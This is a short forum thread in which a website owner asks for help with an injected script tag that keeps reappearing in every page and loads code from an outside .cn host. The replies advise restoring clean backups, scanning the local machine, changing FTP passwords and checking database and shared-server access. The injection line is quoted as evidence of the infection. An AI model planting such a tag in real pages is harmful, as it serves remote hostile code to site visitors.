My site has been infected from a unknown script <script src=http://psunrise.cn/images-d/index2.php ></script><body> which is coming at begin of body code ..i have re upload my website 2 times and also changed permission only to READ (each page) but still this script is not going ..it come again and again ..please help me how to come out from this problem
upload a clean backups, clean your local computer of malware and viruses, and change your ftp passwords. It will work wonders. If you need anymore help let me know.
If you use an database that can be from database. If you use a shared server, somebody can hack an another site at this server. If sql permissions allow one user to connect to db of another user, that can be a reason.